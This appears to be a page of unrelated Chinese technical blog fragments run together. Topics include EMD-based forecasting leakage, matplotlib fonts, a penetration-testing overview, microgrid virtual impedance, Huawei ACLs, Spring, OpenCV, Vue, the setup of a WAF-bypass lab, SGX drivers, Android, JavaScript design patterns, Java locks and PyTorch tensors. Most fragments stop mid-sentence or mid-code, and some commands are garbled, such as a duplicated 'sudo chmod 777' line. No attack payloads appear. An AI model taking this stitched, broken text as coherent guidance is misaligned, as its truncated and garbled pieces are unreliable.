现如今很多时间序列预测论文都是EMD分解+LSTM的套路,并且都取得了不错的效果。不过在这些论文中,基本没有哪一篇论文详细介绍过自己的数据处理过程,以及这种方式在现实应用中到底如何实现,都只是停留在理论层面。因此,这篇文章主要想谈一谈当我们在时间序列预测中使用EMD方法时应该如何进行数据处理。
II. 信息泄露和计算量的问题 大部分论文中的数据处理方式是这样的:首先将所有数据进行EMD分解,得到多个分量。然后针对每一个分量,分别划分训练集和测试集。对每一个分量我们都利用一个模型在其训练集上进行训练,然后在测试集上进行测试。如果我们想得到原始数据的真实/预测值,只需要将所有分量的真实/预测值进行叠加即可。
然而,一般在时间序列预测中,我们是这样处理数据的:首先将所有数据划分为训练集和测试集,然后对训练集进行归一化和特征工程,然后进行模型训练,这种处理方式中,训练集和测试集是分开的,训练集中的数据和测试集无关。值得注意的是,在对测试集进行归一化时,我们使用的是训练集中的最大/最小值。反观EMD中,我们首先对所有数据进行分解再划分训练集和测试集,这就造成了一个问题:训练集中考虑了未来数据!简而言之,在得到训练集的各个分量的过程中,我们使用了测试集中的数据,然而对模型训练来讲,测试集中的数据应该是未知的,这就造成了信息泄露问题。
此外,由于EMD存在分解出的分量个数严重依赖于序列的分布和长度的问题,在模型真正落地应用的时候,也存在一定的问题:假设我们利用前24个时刻预测后12个时刻的数据,在模型训练阶段,我们一共训练了10个分量模型,也就是数据被分解为10个分量。在模型训练完毕后,需要投入使用,如果我们想要预测未来12小时的数据,那么我们只需要最近的24个时刻的数据,一个关键问题是:如何将这24个数据分解为10个分量? 因为只有将这24个数据分解为10个分量,我们才能去对应使用训练好了的10个模型。现实情况是这种分解几乎是不可能的,因为用于模型训练的数据短则几百条,长则上万条,如此长的数据才能够分解为10个分量,24个数据是不太可能被分解为10个分量的。
假设用于模型训练和测试的时间序列数据为D,长度为T+k,前T个数据用于模型训练,后k个数据用于模型测试,利用前24个数据预测后12个数据。对于上述两个问题,一般来讲有以下3种解决方案:
2.1 多次训练+多次预测 为了得到测试集中的每个预测值,我们可以进行如下步骤:
对前T个数据进行EMD分解,得到多个分量,然后对每一个分量都训练一个模型。模型训练完毕后,我们利用D[T-23:T]的数据得到每一个分量模型的12个预测输出,然后再将它们进行叠加,就能得到D[T+1:T+12]的预测值。对D[13:T+12]的数据进行EMD分解,同样得到多个分量,然后对每一个分量都训练一个模型。然后利用D[T-11:T+12]这24个数据得到每一个分量模型的12个预测数据,然后叠加,就能得到D[T+13:T+24]的12个预测值。重复上述123步骤,每次分解窗口滑动12个数据,然后对窗口内的数据进行分解和模型训练,最后进行预测,直到得到D[T+1:T+k]的全部预测值。利用D[T+k]的预测值和真实值计算评价指标。 上述方法虽然没有造成信息泄露,但计算量很大。不过这种方法最大的优点就是:不用保证每一次分解时的IMFs的个数一致,即对D[1:T]的数据进行分解时我们可以得到10个分量,此时用于预测的D[T-23:T]中的每个数据也存在10个分量,可以直接预测,对D[13:T+12]中的数据进行分解,可以得到12个分量,此时用于预测的D[T-11:T+12]中的每个数据同样存在12个分量,可以直接预测。
2.2 单次训练+多次分解预测 方法2.2与方法2.1的主要区别就是只训练一次:
首先将D[1:T]的数据进行分解,然后进行数据分解,并为每个分量训练一个模型。正式预测时,首先利用D[T-23:T]的分解数据直接得到D[T+1:T+12]的预测值;然后对数据D[13:T+12]进行分解,利用D[T-11:T+12]得到D[T+13:T+24]的预测值。循环预测,直至预测结束。 可以发现这种方法就是每次都将最近的长度和训练集一致的数据进行分解,然后进行预测。这种方法虽然没有造成信息泄露,但计算量也很大。同时,该方法存在着一个致命的缺陷:要求每T个数据分解出的IMFs的个数必须保持一致,否则无法使用训练好的模型。
2.3 滑动分解构造样本 具体步骤:
对D[1:24]的数据进行分解,得到分量集合X,然后对D[13:36]进行分解,得到分量集合Y,然后对每一个分量分别构建一个样本(x, y),其中x为前24个数据,y为后12个数据。对D[13:36]和D[25:48]分别进行分解,13:36为x,37:48为y,同样为所有分量生成一个样本。重复上述步骤,两个窗口每次都滑动12个数据,直至训练集结束,得到所有训练样本。利用前3步得到数据训练多个分量模型。正式预测时,每次都选最近的24个数据进行分解,然后进行预测叠加。 上述方法也没有造成信息泄露,但同样计算量很大。同时,该方法与2.2一样:要求每24个数据分解出的IMFs的个数必须保持一致,否则训练会失败,同时无法使用训练好的模型。
2.3 总结 方法一不存在漏洞,但计算量是三种方法中最大的。方法二和方法三都存在分解个数不确定的问题。针对后两个方法存在的问题,一些文章提出了解决办法:用过PyEMD的人都知道,在具体分解时是可以设定最大分解个数的,但这个个数不会超过分解个数的上限,在这种情况下我们可以事先假定一个分解个数,这个值一般较小,每次分解时都按照该分解个数进行分解,但同样存在一种极端情况:某次分解的个数连该最小值都无法达到,这时我们可以在数据后面添0,然后再进行分解,如果个数还是达不到就继续添0直至达到指定分解个数,由于0分解后各个分量相加还是为0(或者一点噪声),对最终结果不影响。 这种改进方法还有待检验!
III. 参考文献 A review and discussion of decomposition-based hybrid models for wind energy forecasting applications
在jupyter中使用matplotlib绘图时坐标轴出现中文乱码问题,本来应该显示汉字,但是只有‘口口’
只需要在代码中加入(前提导入pyplot):
import matplotlib import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] 代码表示将字体设置为黑体(SimHei)最终正常显示汉字
一些其他常用方法,比如正常显示负刻度以及调整坐标轴字体大小
plt.rcParams['axes.unicode_minus'] = False # 使坐标轴刻度显示负号值 plt.rcParams[‘font.size’] = 10 #设置字体大小
什么是渗透测试? 渗透测试是一种安全测试,用于测试应用程序的不安全性。进行它以发现系统中可能存在的安全风险。
如果系统不安全,那么任何攻击者都可以破坏或获得对该系统的授权访问。安全风险通常是在开发和实施软件时发生的意外错误。例如,配置错误、设计错误和软件错误等。
为什么需要渗透测试? 渗透测试通常评估系统保护其网络、应用程序、端点和用户免受外部或内部威胁的能力。它还尝试保护安全控制并确保仅授权访问。
渗透测试是必不可少的,因为 -
它标识了一个模拟环境,即入侵者如何通过白帽攻击来攻击系统。
它有助于找到入侵者可以攻击的薄弱区域,以访问计算机的功能和数据。
它支持避免黑帽攻击并保护原始数据。
它估计了对潜在业务的攻击程度。
它提供了证据来表明,为什么增加对技术安全方面的投资很重要
何时进行渗透测试? 渗透测试是一项基本功能,需要定期执行以确保系统正常运行。除此之外,它应该在任何时候执行 -
安全系统发现攻击者的新威胁。
您添加了一个新的网络基础设施。
您更新系统或安装新软件。
你搬迁你的办公室。
您设置了一个新的最终用户计划/政策。
渗透测试有什么好处? 渗透测试提供以下好处 -
管理系统的增强- 它提供有关安全威胁的详细信息。除此之外,它还对漏洞的程度进行分类,并建议您,哪个更脆弱。因此,您可以通过相应地分配安全资源来轻松准确地管理您的安全系统。
避免处罚- 渗透测试使您的组织的主要活动保持更新并符合审计要求。因此,渗透测试可以保护您免于处罚。
财务损失保护- 安全系统的简单破坏可能会造成数百万美元的损失。渗透测试可以保护您的组织免受此类损害。
客户保护- 即使是单个客户的数据泄露也可能造成巨大的财务损失和声誉损失。它保护与客户打交道并保持其数据完整的组织。
渗透测试 - 方法 渗透测试是考虑系统的各种问题并进行测试、分析并给出解决方案的技术组合。它基于逐步执行渗透测试的结构化程序。
渗透测试方法的步骤 以下是渗透测试的七个步骤 -
规划与准备 计划和准备从定义渗透测试的目标和目的开始。
客户和测试人员共同定义目标,使双方有相同的目标和理解。渗透测试的共同目标是 -
识别漏洞并提高技术系统的安全性。
让外部第三方确认 IT 安全。
提高组织/人员基础设施的安全性。
侦察 侦察包括对初步信息的分析。很多时候,测试人员除了初步信息(即IP地址或IP地址块)之外没有太多信息。测试人员首先分析可用信息,并在需要时向客户端请求更多信息,例如系统描述、网络计划等。这一步是被动渗透测试的一种。唯一的目标是获得系统的完整和详细信息。
发现 在此步骤中,渗透测试人员很可能会使用自动化工具扫描目标资产以发现漏洞。这些工具通常有自己的数据库,提供最新漏洞的详细信息。然而,测试人员发现
网络发现- 例如发现其他系统、服务器和其他设备。
Host Discovery - 它确定这些设备上的开放端口。
服务询问- 它询问端口以发现在其上运行的实际服务。
分析信息和风险 在此步骤中,测试人员分析和评估在测试步骤之前收集的信息,以动态渗透系统。由于系统数量较多,基础设施规模较大,因此非常耗时。在分析时,测试人员考虑以下要素 -
渗透测试的定义目标。
系统的潜在风险。
为后续主动渗透测试评估潜在安全漏洞所需的估计时间。
但是,从已识别系统列表中,测试人员可以选择仅测试那些包含潜在漏洞的系统。
主动入侵尝试 这是必须谨慎执行的最重要的步骤。此步骤涉及在发现步骤中识别出的潜在漏洞在多大程度上具有实际风险。当需要验证潜在漏洞时,必须执行此步骤。对于那些具有非常高完整性要求的系统,在执行关键清理程序之前需要仔细考虑潜在的漏洞和风险。
最终分析 此步骤主要考虑到那时执行的所有步骤(如上所述),以及对以潜在风险形式存在的漏洞的评估。此外,测试人员建议消除漏洞和风险。最重要的是,测试人员必须确保测试的透明度以及它所披露的漏洞。
传统的下垂控制是在假设线路呈纯感性的情况下进行控制的,但是由于微电网电压等级较低,实际线路中的阻性无法忽略,使得输出功率出现耦合的情况,以此同时,由于线路阻抗使得结点电压并不相同,对无功功率的输出影响较大,导致无功功率输出并不均衡,输出电能的质量下降。
虚拟阻抗 虚拟阻抗的原理是在原有的线路中加入一个虚拟存在的阻抗,使线路阻抗近似呈现感性,减小设备之间的不平衡阻抗。虚拟阻抗并不是真的在线路中添加阻抗,不会消耗功率。
引入虚拟阻抗的等效原理图
其中Zv是虚拟阻抗,Zv=Rv+jLv,Zl是真实线路阻抗,传输功率表示为S=P+jQ。目前主要采用的下垂控制方法两种,一种是使得虚拟阻抗表达式中的Rv为负值,去平衡线路中的电阻,使线路呈现感性。第二种方法是加大虚拟阻抗表达式中的Lv,让线路呈现感性。第一种方法对线路中的阻抗精度过高,不易于实现。一般采用第二种方法。
引入虚拟阻抗后,下垂控制结构图
与下垂控制不同的是,将输出的电流io(abc)进行采集,通过abc/dq的转换到Idq,经过虚拟阻抗模块后得到Uref(dq)进行双闭环控制。实际上,得到输出电流后即可算出在虚拟阻抗上的压降,在原来下垂控制的基础上,将这部分电压降减去即可。
在dq坐标系下的虚拟阻抗表达式
由以上表达式,可以得到虚拟阻抗模型的结构控制框图
总结 在电压等级较小的微电网中,由于容量和电压等级都比较小,使得线路阻抗中的电阻不能忽略,引入虚拟阻抗,提高线路阻抗中的感性部分,实现功率解耦,极大地改善了无功功率的分配,减小逆变器之间的环流,改善了电能输出的质量。
ACL和VLAN
一.ACL:访问控制列表—---控制列表(策略列表)
二.功能:
定义感兴趣路由(控制层面) 在路由器流量流入或流出的接口上,匹配流量,然后执行设定好的动作 --- permit(允许),deny(拒绝)
定义感兴趣流量(数据层面) ACL的另一个作用就是和其他服务结合使用。ACL只负责抓取流量,动 作由其他服务来执行。
三.思科 --- ACL列表末尾默认包含一条拒绝所有的规则---拒绝所有
华为 --- ACL列表末尾没有包含任何规则---默认所以
ACL列表的分类 基础ACL --- 仅关注数据包中的源IP地址 --- “只关注你是谁” 高级ACL --- 不仅关注数据包中的源IP地址,还关注目标IP地址,以及协议和端口号 --- “不仅关注你是谁,还关注你去哪,干啥” 二层ACL 用户自定义ACL列表
五.
需求一:要求PC1可以访问3.0网段,但是PC2不行。 基础ACL配置的位置原则:因为基础ACL只关注源IP地址,所以,可能会造成误伤,所以,建议基础ACL配置位置越靠近目标越好。 基础ACL配置: 1,创建ACL列表 [r2]acl ? INTEGER<2000-2999> Basic access-list(add to current using rules) --- 基础ACL INTEGER<3000-3999> Advanced access-list(add to current using rules) --- 高级ACL INTEGER<4000-4999> Specify a L2 acl group --- 二层ACL
2,在ACL列表中添加规则 [r2-acl-basic-2000]rule deny source 192.168.1.3 0.0.0.0 --- 通配符 --- 0代表不可变,1代表可变 --- 通配符和反掩码不同,他可以0和1穿插着使用
首先来说,SpringMVC是一个web框架,而SpringBoot是一个自动化配置的工具。他们都是基于Spring、为了简化使用、提高性能而衍生出来的。
如果从配置上来看的话,SpringMVC需要自己进行大量的配置,比如ViewResolve(视图解析器)、DispatcherServlet(前端控制器)等配置,SpringMVC需要手动的配置xml文件,也需要自己去配置tomcat服务器,而SpringBoot采用的是约定大于配置的方式,根据添加的场景依赖自动进行配置,在无须额外手动添加配置的情况下快速构建出一个独立的Spring应用,同时也会内置tomcat,打开就可以直接使用。
SpringMVC和SpringBoot打jar包的方式也是不同的,SpringMVC需要大量的手动配置才能实现打jar包的功能,而SpringBoot项目构建过程中,不需要我们自己引入各种jar文件(依赖),可以直接选择我们需要的starter(依赖启动器),starter内部就包含了我们开发场景所需要的依赖,然后自动下载并拉取相关jar包。
SpringMVC和SpringBoot的作用也是不同的,SpringMVC就是为开发java web项目而生的,SpringBoot的话也可以开发非web项目(使用的很少)。
除了SpringMVC,SpringBoot还整合了其他大量的第三方框架。总的来说,SpringBoot使用起来比SpringMVC更加的简单高效,也是更高级一点。
opencv学习笔记(四):基本的绘图函数 文章目录 opencv学习笔记(四):基本的绘图函数绘制直线 cv2.line()绘制矩形 cv2.rectangle()绘制普通矩形绘制渐变矩形 绘制圆形 cv.circle()绘制椭圆 cv2.ellipse()绘制普通椭圆改变椭圆angle参数改变椭圆startAngle与endAngle 绘制多边形 cv2.polylines() 写在前面,为方便绘制时观察图形,我们首先要创建一个空白图像,此处调用numpy库进行创建 import cv2 import numpy as np img = np.zeros([600,600,3],np.uint8) cv2.imwrite('225.jpg',img) cv2.imshow('IMG',img) cv2.waitKey(0) 运行结果如下:一张600*600*3的纯黑图片被创建,并保存在工程文件夹内,命名为225.jpg
绘制直线 cv2.line() 函数原型:cv2.line(img,起点坐标,终点坐标,颜色,线宽) 参数说明:img:读取的图片 起点坐标:直线的起点坐标,三通道图像为(xx,xx,x),灰度图像为(xx,xx) 终点坐标:直线的起点坐标,三通道图像为(xx,xx,x),灰度图像为(xx,xx) 颜色:直线颜色的表示,如RGB下黑色(0,0,0),白色(255,255,255); 线宽:整数值,代表线宽,单位为px(像素值) 在黑色600*600图片上绘制起点为(0,0,0),终点为(299,299,299),线宽5px的白线
import cv2 import numpy as np Img = cv2.imread('225.jpg',cv2.IMREAD_UNCHANGED) Img = cv2.line(Img,(0,0),(299,299),(255,255,255),5) cv2.imshow('draw',Img); cv2.waitKey(0); 运行结果如下:
绘制矩形 cv2.rectangle() 函数原型:cv2.rectangle(矩形左上顶点坐标值,矩形右下顶点坐标值,颜色,线宽) 参数说明:可类比绘制直线函数 绘制普通矩形 在黑色600*600图片上绘制左上顶点为(0,0,0),右下顶点为(299,299,299),线宽5px的绿色矩形
import cv2 import numpy as np Img = cv2.imread('225.jpg',cv2.IMREAD_UNCHANGED) Img = cv2.rectangle(Img,(0,0),(299,299),(0,255,0),5) cv2.imshow('draw',Img); cv2.waitKey(0); 运行结果如下:
Vue2+VantUI移动端项目框架搭建
【准备】
装好vue和node环境
当前vue版本@vue/cli 5.0.8 npm@6.14.15 node v14.17.6
【步骤】
初始化项目
选择好项目根目录文件夹,在终端中用cd命令进入该目录,执行vue create 项目名称 ,下一步选择Manually select features,下一步勾选Router、VueX、CSS Pre-processors三项,下一步选择2.x,下一步输入n ,下一步选择Sass/SCSS (with dart-sass),下一步选择In dedicated config files,下一步输入n,然后等待项目初始化完毕。
安装依赖
执行cd 项目名称 进入项目目录,分别执行npm i lib-flexible 和 npm i postcss-pxtorem。
配置文件和代码修改
①用代码编辑器打开项目,在根目录新建vue.config.js,放入以下代码:
const path = require("path");
function resolve(dir) {
return path.join(__dirname, dir);
}
module.exports = { // commonJS规范
publicPath: './',
outputDir: 'dist', // 当运行 vue-cli-service build 时生成的生产环境构建文件的目录
assetsDir: 'static', // 放置生成的静态资源 (js、css、img、fonts) 的 (相对于 outputDir 的) 目录
(1)路由步骤 根据官方的文档,我们的路由大概需要以下的几种构成
(1)首先引入组件
(2)创建routes布局
(3)创建router对象
(4)抛出
(5)挂载
在我们使用的组件化开发的情况下,我们具体的步骤是这样的
首先我们创建一个index.js的文件,我们习惯性地放在router的文件夹下面
然后构建routes数组,里面都是各种路由,基础属性就是path和componet 然后赋予历史属性,创建路由示例
最后进行抛出的话,为了让外界能读取到
最后,我们把这个东西use在vue示例上,注意要先使用再挂载
(2)最基本的显示方法 <router-link>这个标签很像是超链接,但是具体的url用的是to
<router-view>就会展示我们需要的东西 ,在实际的应用中对应路由会展示对应组件的内容
如果想展示嵌套路由,就在展示的组件下面,再挂上一个<router-view>组件
我们仍然是举个例子,最简单的管理系统项目里面,我们的组件有侧边导航,顶部框,还有展示的不同内容。最常见的处理方法为:
创建一个主界面组件homeView:里面包含三个组件navi header 以及子路由router
比如路由/father展示的是整个homeView组件,不展示子组件的时候,紫色区域是空的,当调用某个子路由的时候比如/father/son1,son1的内容就会展示在紫色区域,相当于顺次进行展开
在构建组件化开发的时候,我们一般会在主启动页面(根组件)放个路由展示标签,表示路由展示会从这里开始展开 (App.vue里面的东西)
最简单的是这种东西
(3)关于路由的一些语法 1.动态路由参数,绑定一个参数,传入到子组件里面
例如这样绑定一个id参数,类似bind语法
2.这个参数也可以写成很多的形式
3.绑定元素后面加上括号,括号里可以放置一些正则表达式
4.在元素后面加个+符号,代表这里开始可以接受多个元素,形成一个数组
5.元素后面加个*符号,代表这个参数可有可无 (4)关于子路由的写法 写在chirdren数组里面
并且子路由的路径前面不需要加入/符号了,其余的仍然是组件对象
(5) 关于路由守卫 每次进入一个路由的时候,路由守卫会先进行判断,然后再确认是否放行
放任放行的方式有两个,一个是return true,另一个是执行第三个参数--next方法
(1)全局路由守卫beforeEach,每次打开一个新的路由都都会走一次这个方法,这个方法写在router对象创建之后
(2)单个路由的路由守卫beforeEnter,每次打开这个路由就会触发一次路由首位,写在每个路由对象里面
(3)组件内路由首位,只要使用了这个组件就会调用,其实也算是生命周期函数,通过路由规则修改成当前组件时调用beforeRouteEnter,通过路由规则把当前组件修改成其他组件的时候会调用beforeRouteLeave,还有检测到组件内属性更新时候的beforeRouteUpdate
这些东西触发的条件是组件通过路由发生改变,目前来看跳转一般不会影响这些,通过路由规则指的是手动修改url地址 这样子才会触发对应的守卫函数,不然可能触发不全
6.路由之间的跳转 (1)第一种方式:直接修改url,这是可行的,并且会直接触发组件守卫
(2)第二种方式:通过<router-link to="目标地址">跳转
(3)第三种方式,通过$router引用
补充:vite跨域文件如下 import { fileURLToPath, URL } from 'node:url' import { defineConfig } from 'vite' import vue from '@vitejs/plugin-vue' // https://vitejs.
0x01:环境搭建
windows 10 操作系统
1,phpstudy2016
2,安全狗最新版,(切记以管理员身份启动安全狗)
安全狗配置插件问题请直击:
http://www.nvhack.com/forum.php?mod=viewthread&tid=176
3,php文件一枚,名字 bihuo.php 代码如下:
<!DOCTYPE html> <html> <head> <title>必火网络安全培训-带你走进网络安全培训圈</title> <meta charset="utf-8"> <meta http-equiv="refresh" content="15"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- 新 Bootstrap4 核心 CSS 文件 --> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/css/bootstrap.min.css"> <!-- jQuery文件。务必在bootstrap.min.js 之前引入 --> <script src="https://cdn.staticfile.org/jquery/3.2.1/jquery.min.js"></script> <!-- bootstrap.bundle.min.js 用于弹窗、提示、下拉菜单,包含了 popper.min.js --> <script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script> <!-- 最新的 Bootstrap4 核心 JavaScript 文件 --> <script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="keywords" content="网络安全培训,渗透测试培训,web安全培训"> <meta name="description" content="黑客网-由北京必火网络安全平台打造,从事网络安全白帽子黑客攻防web安全信息安全渗透测试教学培训,未来岗位有网络安全工程师,渗透测试工程师,安全服务工程师,一应急响应工程师等"> </head> <body> <nav class="
driver安装
1.将3个.bin文件下载(右键另存为即可),下载地址:https://download.01.org/intel-sgx/latest/linux-latest/distro/ubuntu20.04-server/
2.到下载文件夹下,输入下面命令,是给.bin文件一个执行权限
sudo chmod 777 sgx_linux_x64_driver_2.11.054c9c4c.bin 3. 运行该bin文件,完成驱动安装
sudo ./ sudo chmod 777 sgx_linux_x64_driver_2.11.054c9c4c.bin 在驱动安装时候报错:
Warning: There is no need to install additional SGX driver with in-kernel SGX support. /opt/intel/sgxdriver/package /home/lyx/SGXziliao make -C /lib/modules/5.15.0-46-generic/build M=/opt/intel/sgxdriver/package modules make[1]: 进入目录“/usr/src/linux-headers-5.15.0-46-generic” arch/x86/Makefile:142: CONFIG_X86_X32 enabled but no binutils support make[1]:gcc:命令未找到 warning: the compiler differs from the one used to build the kernel The kernel was built by: gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0 You are using: CC [M] /opt/intel/sgxdriver/package/sgx_main.
Android开发-AS学习(一)
Android开发-AS学习(二)
使用android studio开发简易计算器app(完整源码可在博主资源中自行下载)
最终效果:
开发步骤:
创建一个名为calculator的新项目
编写代码
项目目录
MyTextView文件
package com.example.calculator.my_control; import android.content.Context; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.util.AttributeSet; import androidx.annotation.NonNull; import androidx.annotation.Nullable; /* 自定义组件:带有边框的标签 */ public class MyTextView extends androidx.appcompat.widget.AppCompatTextView { Paint paint = new Paint();//创建一个paint对象 public MyTextView(@NonNull Context context, @Nullable AttributeSet attrs) { super(context, attrs);//构造函数 } @Override//重写方法 protected void onDraw(Canvas canvas){ super.onDraw(canvas); paint.setColor(Color.BLACK);//设置paint的颜色 //绘制边框 canvas.drawLine(0,0,this.getWidth(),0,paint);//绘制上方的边框 canvas.drawLine(0,this.getHeight()-1,this.getWidth(),this.getHeight()-1,paint);//绘制下方的边框(因为会被遮挡,所以需要-1) canvas.drawLine(0,0,0,this.getHeight(),paint);//绘制左边的边框 canvas.drawLine(this.getWidth()-1,0,this.getWidth()-1,this.getHeight(),paint);//绘制右边的边框(因为会被遮挡,所以需要-1) } } MainActivity文件
package com.example.calculator; import androidx.
解决历程:
1、按照提示安装pytables,"pip install pytables","pip install tables","conda install pytables"都试了,可能会安装上,但是运行还是报错,提示找不到pytables
2、按照网上的方法安装指定版本,“pip install tables==3.2.0”,报错
“LINK : fatal error LNK1181: 无法打开输入文件“hdf5dll.lib”
* Using Python 3.9.15 (main, Nov 4 2022, 16:35:55) [MSC v.1916 64 bit (AMD64)]
* USE_PKGCONFIG: False
.. ERROR:: Could not find a local HDF5 installation.
You may need to explicitly state where your local HDF5 headers and
library can be found by setting the ``HDF5_DIR`` environment
variable or by using the ``--hdf5`` command-line option.
前言 作为一个前端切图仔,少有和各类设计模式打交道。但这不影响我们学习设计模式的思维,来提升我们的代码水平。
本章通过讲解职责链模式,希望能够让你对设计模式更一步的学习。
本章学习内容👇
灵活可拆分的职责链模式 灵活可拆分的职责链模式 在上一章,《JavaScript职责链模式与开发实践(中)》
我们将大段的条件判断函数拆分为了三个小函数,并用职责链模式模式串联起来了这些模块。虽然解决了大量使用条件分支的语句,但这依然还存在一些问题:
function orderMember(seniorMember, price) { if (seniorMember) { return orderSeniorMember(price) } else { return price * 0.95 } } 可以看到,在职责链的传递上非常僵硬,链上的下一段函数直接被耦合在了业务函数之中。这是违反开放-封闭原则(OCP,Open Closed Principle)是所有面向对象原则的核心。如果以后我们的会员还要再分钻石会员以及大会员等等就意味着必须改动这些业务函数内部。这会扰乱我们之前所构建的链条,就像在已经创建好的数组我们去改变其中每一个元素的顺序而导致整个数组偏移的后果。
接下来, 我们通过对职责链节点进行一层工厂化包装来解决这个问题👇
首先,我们先解除之前三个函数节点的耦合。并在需要传递给下一层请求时,我们通过返回一个字符串nextSuccessor表示。
function orderNormal(userType, seniorMember, stock, price) { if (userType === 0) { if (stock > 0) { console.log(price * 0.99) } else { console.log(false) } } else { return 'nextSuccessor'; //向职责链后继节点传递请求 } } function orderMember(userType, seniorMember, stock, price) { if (seniorMember == 0) { return 'nextSuccessor'; //向职责链后继节点传递请求 } else { console.
前言 作为一个前端切图仔,少有和各类设计模式打交道。但这不影响我们学习设计模式的思维,来提升我们的代码水平。
本章通过讲解职责链模式,希望能够让你对设计模式更一步的学习。
本章学习内容👇
开发一个实际的职责链模式 实际开发中的职责链模式 假设我们是负责一个售卖商品的电商。
我们推出了一个新的商品,用户可以通过在线上预约的方式预约商品。其中对会员和非会员的用户我们有不同的处理方案。
针对会员用户:
普通会员我们采取商品打95折的方案高级会员我们采取商品打91折的方案 针对普通用户:
普通用户需99折购买当库存不足时,优先满足会员用户 我们定义几个供系统使用的字段:
userType:表示用户的类型。值为0则表示普通用户,为1时表示会员用户。seniorMember:表示是否为高级会员。值为布尔值。stock:表示当前可以供给普通用户的库存。price:表示当前商品的价格。 下面我们把处理预约订单的流程写成代码:
let order = function (userType, seniorMember, stock, price) { if (userType === 1) { if (seniorMember) { return price * 0.91 } else { return price * 0.95 } } else { if (stock > 0) { return price * 0.99 } else { return false } } } console.log(order(1, false, 1, 100)); 控制台输出
这是一个运行时异常,表明在进行解密时使用了一个错误的密钥,导致解密后的数据不完整,无法正确解密。
提纲 定义 synchronized是同步块,实现了多线程间的互斥同步。它修饰的代码,确保任一时刻只有一个线程进入访问。
特性 因为在synchronized同步块内,只有一个线程能访问,因此确保了同步块内的原子性、可见性和有序性。
使用方式 总结:
Class tClass = T.class; // T.class其实就是该类的类对象
synchronized不管是修饰代码块还是修饰方法,本质都是作用于对象上。进入代码块时需要获取对象锁,退出同步块是释放对象锁。
synchronized底层实现原理 Java对象锁的信息存在Java对象头里的mark word中。
synchronized不管是修饰代码块还是修饰方法,都能确定一个对象与之关联监视器。
对象监视器(ObjectMonitor)是在jdk中使用c++实现的,具体细节需阅读对应源码。
synchronized vs ReentrantLock 总结:
在 >=JDK1.6后, jvm对 synchronized关键字的锁做了很多优化,其性能和 ReentrantLock的Api式锁相差无几;不过新的api的锁支持3个高级特性。 ReentrantLock的底层实现是基于 AQS的; synchronized是 jvm基于字节码 monitorenter和 monitorexit加上一些锁优化实现的。 提高锁性能 减少锁持有时间 减小锁粒度 在JDK1.7中ConcurrentHashMap实用了分段锁来减小锁粒度(缩小锁对象的范围),从而降低锁冲突的可能性,进而提高系统的并发能力。
读写分离替换独占锁 在读多写少的场合使用读写锁可以有效提升系统的并发能力。
锁分离 锁分离是读写锁的进一步延伸,读写锁是根据读写操作上的不同,对锁进行了有效的分离。 在其他角度的分离思想,也可以对独占锁进行分离。 比如LinkedBlockingQueue的实现,其中take()和put()分别实现了从队列中获取数据和往队列中增加数据的功能,将独占锁分离为头锁和尾锁能提升take()和put()的并发能力。 锁优化 在<=JDK1.5时,synchronized直接就是重量级锁,所以性能不好。在JDK1.6版本中,平台对这部分的锁性能做了很多优化,例如锁消除、锁粗化、偏向锁、自适应自旋、轻量级锁等优化。
锁消除 低于JDK1.5版本,编译器会将+号连接字符串的代码优化为StringBuffer的连续append()操作;然后即时编译器会对代码做“逃逸分析”发现sb不会超出方法外,因此会将append方法内的同步完全消除掉执行,提高效率。
锁粗化 虚拟机在遇到一连串连续地对同一个锁不断进行请求和释放的操作时,便会把所有的锁操作整合成对锁的一次请求,从而减少对锁的请求同步次数,这个操作叫做锁粗化。
偏向锁 优化思想: 如果一个线程获得了锁(通过CAS将当前线程指针记录到mark word中),那么锁就进入偏向模式,当该线程再次请求锁时,不需要做任何同步操作。
适用场景: 对于没有任何锁竞争的场合,偏向锁优化效果好。 在锁竞争激烈的场景,如果每次来请求锁的线程都是不同线程,那么偏向模式会失效。
JVM配置参数: -XX:+UseBiasedLocking 开启偏向锁优化。 -XX:BiasedLockingStartupDelay=4 偏向锁延迟启动,默认4秒 。
轻量级锁 如果偏向锁失败,虚拟机会尝试轻量级锁的优化手段。
优化思想: 对于绝大部分的锁,在整个同步周期内都是不存在竞争的。(这是一个经验数据)
如果没有竞争,轻量级锁使用CAS操作避免使用互斥量的重量级锁开销。 单如果有竞争,CAS和互斥量开销都有,因此在有竞争的情况下,轻量级锁比重量级锁更慢。
01 | 写在前面 在学习了Tensor的创建方法之后,接下来你可能会问:那么我们可以对Tensor进行哪些操作呢?
不急,今天我们就来聊聊Tensor的操作方法。这部分主要包含两类:
Tensor的基础操作:如拼接、切分、索引和变换
Tensor的数学运算
02 | Tensor基础操作 021 | Tensor的拼接 当我们想拼接两个张量(Tensor)时,可以选用两种方法,一类是“torch.cat()”,一类则是“torch.stack()”。
torch.cat()的功能是将张量按制定的维度参数(dim)进行拼接,并返回一个新张量,其关键参数有二:
tensors:要拼接的张量序列
dim:要进行拼接的维度
这里的维度指的是张量所张开的维度,如(3,2)从第0维度看(投影)有3个“元素”,而第1维度则有2个“元素”。
torch.stack()与torch.cat()的不同在于,拼接张量时会在指定的维度(dim)上插入一个新维度,得到一个维度增加后的张量。
为了进一步演示其作用,我们在PyCharm上运行测试代码:
# 测试torch.cat()的拼接作用 flag = True if flag: # 创建一个(2,3)张量 t = torch.ones((2,3)) print(t) t_0 = torch.cat([t, t], dim=0) t_1 = torch.cat([t, t], dim=1) print("t_0:{} shape:{}\nt_1:{} shape:{}".format(t_0, t_0.shape, t_1, t_1.shape)) 上例展示了torch.cat()在不同维度上拼接的作用,原有的(2,3)张量可以看作是在两个维度上分别张开的张量,当dim=0时指定第一个维度,该维度上每个张量均有2个元素,因此拼接后可以得到(4,3)的新张量(多维数组);当指定dim=1时指定第二个维度,该维度上张量有3个元素,因此拼接后得到(2,6)的新张量。
当我们采用**torch.stack()**拼接时,会在原有的维度上添加新维度,此时需要将原始张量看作是多维矩阵,重新分配元素并计算张量中各部分大小。
